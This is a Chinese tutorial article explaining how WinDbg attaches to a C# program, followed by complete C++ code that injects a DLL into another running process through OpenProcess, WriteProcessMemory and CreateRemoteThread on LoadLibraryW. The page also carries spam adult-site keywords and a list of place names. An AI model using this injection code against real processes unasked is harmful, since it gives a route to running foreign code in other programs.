最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

在C#程序中注入惡意DLL的方法詳解

 更新時間:2022年09月04日 11:39:40   作者:一線碼農(nóng)聊技術(shù)  
為什么?Windbg?附加到?C#?程序后,程序就處于中斷狀態(tài)了?它到底是如何實(shí)現(xiàn)的?其實(shí)簡而言之就是線程的遠(yuǎn)程注入,這一篇就展開說一下

一、背景

前段時間在訓(xùn)練營上課的時候就有朋友提到一個問題,為什么 Windbg 附加到 C# 程序后,程序就處于中斷狀態(tài)了?它到底是如何實(shí)現(xiàn)的?其實(shí)簡而言之就是線程的遠(yuǎn)程注入,這一篇就展開說一下。

二、實(shí)現(xiàn)原理

1. 基本思路

WinDbg 在附加進(jìn)程的時候,會注入一個線程到 C# 進(jìn)程 中,注入成功后,會執(zhí)行一個 DbgBreakPoint() 函數(shù),其實(shí)就是 int 3 ,這時候 CPU 就會執(zhí)行 3 號中斷函數(shù),將當(dāng)前進(jìn)程的所有線程進(jìn)行暫停,文字不好理解的話,畫一個圖大概就是這樣。

口說無憑,接下來用上一個簡單案例演示一下。

2. 案例演示

首先寫一個簡單的 C# 程序,不斷的輸出時間和標(biāo)號,代碼如下:

????internal?class?Program
????{
????????static?void?Main(string[]?args)
????????{
????????????for?(int?i?=?0;?i?<?10000;?i++)
????????????{
????????????????Console.WriteLine($"{DateTime.Now},i={i}");
????????????????Thread.Sleep(1000);
????????????}
????????}
????}

把程序跑起來后,使用 WinDbg 附加,你可以發(fā)現(xiàn) Command 自動切換到了 8 號線程,通過 k 命令可以看到最上面是一個 int 3 中斷,截圖如下:

這里就有一個想法了,既然 WinDbg 可以注入,為何我的程序就注入不得呢?既然我的程序可以注入,那就可以做一些我想做的事情。

3. 自定義注入

有了自定義注入的想法,接下來的實(shí)現(xiàn)步驟大概是這樣的。

  • 注入一個線程到 C# 程序中。
  • 讓程序加載一個 dll 文件。
  • 在 dll 中做一些我想做的業(yè)務(wù)邏輯。

接下來新建一個 C++ 的動態(tài)鏈接庫,在 DLLMain 入口函數(shù)的  DLL_PROCESS_ATTACH 事件中寫一個 printf 函數(shù),如果在 C# 程序中輸出來了,就算成功注入了,參考代碼如下:

#include?<Windows.h>
#include?<stdio.h>

BOOL?APIENTRY?DllMain(HMODULE?hModule,
?DWORD??ul_reason_for_call,
?LPVOID?lpReserved
)
{
?switch?(ul_reason_for_call)
?{
?case?DLL_PROCESS_ATTACH:
??printf("?總部,總部,我已經(jīng)成功打入內(nèi)部!ul_reason_for_call=%d\n ",?ul_reason_for_call);
??break;
?}
?return?TRUE;
}

要被加載的 MyInject.dll 已經(jīng)構(gòu)建完畢,接下來就用 Win32 API 的 CreateRemoteThread() 實(shí)現(xiàn)遠(yuǎn)程注入,但注入之前需要做三件事情。

  • 獲取 C# 程序的 進(jìn)程句柄。
  • 在 C# 進(jìn)程中申請一塊內(nèi)存空間,存放加載的 path 路徑。
  • 調(diào)用 LoadLibraryW 函數(shù)在 C# 進(jìn)程中實(shí)現(xiàn) dll 加載。

過程有了,新建一個 C++ 控制臺程序 ConsoleApplication1.exe, 整體的參考代碼如下:

#include?<iostream>
#include?<Windows.h>
#include?<stdio.h>
#include?<stdlib.h>
#include?<Tlhelp32.h>

DWORD?GetPid(const?WCHAR*?szName)
{
?HANDLE?hprocessSnap?=?NULL;

?PROCESSENTRY32?pe32?=?{?0?};

?hprocessSnap?=?CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,?0);

?pe32.dwSize?=?sizeof(PROCESSENTRY32);

?if?(Process32First(hprocessSnap,?&pe32))
?{
??do?{
???if?(!wcscmp(szName,?pe32.szExeFile))?{
????return?(int)pe32.th32ProcessID;
???}
??}?while?(Process32Next(hprocessSnap,?&pe32));
?}
?else
?{
??CloseHandle(hprocessSnap);
?}
?return?0;
}

int?main()
{
?const?wchar_t*?path?=?L"D:\\net6\\ConsoleApp1\\x64\\Debug\\MyInject.dll";?//要注入的dll文件地址

?//1.?獲取進(jìn)程ID
?DWORD??procID?=?GetPid(L"ConsoleApp4.exe");

?//2.?獲取進(jìn)程句柄
?HANDLE?hProcess?=?OpenProcess(PROCESS_ALL_ACCESS,?FALSE,?procID);

?//3.?在目標(biāo)進(jìn)程中開辟一塊空間
?LPVOID?pRemoteAdress?=?VirtualAllocEx(hProcess,?NULL,?wcslen(path)?*?2,?MEM_COMMIT,?PAGE_READWRITE);

?//4.?將?path?寫入到這塊空間中
?BOOL?bRet?=?WriteProcessMemory(hProcess,?pRemoteAdress,?path,?wcslen(path)?*?2,?NULL);

?//5.?讓目標(biāo)線程調(diào)用?LoadLibraryW?加載我們注入的?dll
?HMODULE?hModule?=?GetModuleHandle(L"kernel32.dll");
?LPTHREAD_START_ROUTINE?dwLoadAddr?=?(LPTHREAD_START_ROUTINE)GetProcAddress(hModule,?"LoadLibraryW");
?HANDLE?hThread?=?CreateRemoteThread(
??hProcess,
??NULL,
??0,
??(LPTHREAD_START_ROUTINE)dwLoadAddr,
??pRemoteAdress,
??NULL,
??NULL
?);

?//6. 函數(shù)執(zhí)行完后,釋放這塊空間。
?WaitForSingleObject(hThread,?-1);
?VirtualFreeEx(hProcess,?pRemoteAdress,?1,?MEM_DECOMMIT);

?system("pause");
?return?0;
}

萬事具備,接下來我們將 ConsoleApplication1.exe 啟動,可以成功觀察到 ConsoleApp4.exe 上已經(jīng)注入成功的輸出,截圖如下:

三:總結(jié)

這就是對 WinDbg 實(shí)現(xiàn)注入攔截的一個衍生知識,整體思路還是很明朗的,當(dāng)然有注入,就有反注入,比如下面兩條策略。

設(shè)置進(jìn)程的保護(hù)屬性。

屏蔽 或者 混淆 Win32 的 LoadLibraryW 函數(shù)。

以上就是在C#程序中注入惡意DLL的方法詳解的詳細(xì)內(nèi)容,更多關(guān)于C#注入惡意DLL的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • C# 正則表達(dá)式常用的符號和模式解析(最新推薦)

    C# 正則表達(dá)式常用的符號和模式解析(最新推薦)

    這篇文章主要介紹了C# 正則表達(dá)式常用的符號和模式解析,本文結(jié)合實(shí)例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2022-12-12
  • C#監(jiān)控文件夾變化的方法

    C#監(jiān)控文件夾變化的方法

    這篇文章主要介紹了C#監(jiān)控文件夾變化的方法,通過FileSystemWatcher類的方法來實(shí)現(xiàn)對文件夾的監(jiān)控,是非常實(shí)用的技巧,需要的朋友可以參考下
    2014-11-11
  • C# 中 “$” 符號的作用以及用法詳解

    C# 中 “$” 符號的作用以及用法詳解

    這篇文章主要介紹了C# 中 “$” 符號的作用以及用法,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-06-06
  • C#數(shù)據(jù)庫操作之LINQ to SQL技術(shù)詳解

    C#數(shù)據(jù)庫操作之LINQ to SQL技術(shù)詳解

    本文詳細(xì)介紹了LINQtoSQL技術(shù),包括其基本概念、使用方法、動態(tài)創(chuàng)建數(shù)據(jù)庫、插入數(shù)據(jù)、查詢數(shù)據(jù)、更新數(shù)據(jù)和刪除數(shù)據(jù)等操作
    2024-12-12
  • 在C#中添加I/O延時和持續(xù)時間的實(shí)現(xiàn)方法

    在C#中添加I/O延時和持續(xù)時間的實(shí)現(xiàn)方法

    這篇文章主要介紹了在C#中添加I/O延時和持續(xù)時間的實(shí)現(xiàn)方法,文中有相關(guān)的代碼示例供大家參考,對大家的學(xué)習(xí)或工作有一定的幫助,需要的朋友可以參考下
    2025-01-01
  • C#實(shí)現(xiàn)讀寫ini文件類實(shí)例

    C#實(shí)現(xiàn)讀寫ini文件類實(shí)例

    這篇文章主要介紹了C#實(shí)現(xiàn)讀寫ini文件類,實(shí)例分析了C#實(shí)現(xiàn)針對ini文件的讀、寫、刪除等操作的常用技巧,具有一定參考借鑒價值,需要的朋友可以參考下
    2015-03-03
  • C#字符串與數(shù)值類型、字節(jié)數(shù)組的互相轉(zhuǎn)換實(shí)戰(zhàn)案例

    C#字符串與數(shù)值類型、字節(jié)數(shù)組的互相轉(zhuǎn)換實(shí)戰(zhàn)案例

    最近由于編程的需要,對C#的類型轉(zhuǎn)換做了一些研究,下面這篇文章主要給大家介紹了關(guān)于C#字符串與數(shù)值類型、字節(jié)數(shù)組的互相轉(zhuǎn)換的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2023-06-06
  • C#使用listView增刪操作實(shí)例

    C#使用listView增刪操作實(shí)例

    這篇文章主要介紹了C#使用listView增刪操作的實(shí)現(xiàn)方法,實(shí)例分析了C#中使用listView控件進(jìn)行動態(tài)添加、選中刪除等操作的技巧,具有一定的參考借鑒價值,需要的朋友可以參考下
    2014-12-12
  • C#導(dǎo)入導(dǎo)出Excel數(shù)據(jù)的兩種方法

    C#導(dǎo)入導(dǎo)出Excel數(shù)據(jù)的兩種方法

    這篇文章主要為大家詳細(xì)介紹了C#導(dǎo)入導(dǎo)出Excel數(shù)據(jù)的兩種方法,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-03-03
  • C#使用委托的步驟淺析

    C#使用委托的步驟淺析

    這篇文章主要介紹了C#使用委托的步驟,以實(shí)例形式深入淺出的講解了C#關(guān)于委托的定義、聲明、實(shí)例化及相關(guān)的用法,具有很好的參考借鑒價值,需要的朋友可以參考下
    2014-11-11

最新評論

灌阳县| 常山县| 文水县| 通江县| 二连浩特市| 栾城县| 廉江市| 泸溪县| 霍州市| 新建县| 新民市| 神农架林区| 牡丹江市| 丹江口市| 大丰市| 灯塔市| 垫江县| 永仁县| 尼玛县| 玛纳斯县| 南安市| 建阳市| 永德县| 旌德县| 保山市| 故城县| 内江市| 莒南县| 塔城市| 仲巴县| 北安市| 宁南县| 万盛区| 泗阳县| 张掖市| 新建县| 内乡县| 额济纳旗| 山阳县| 亳州市| 白山市|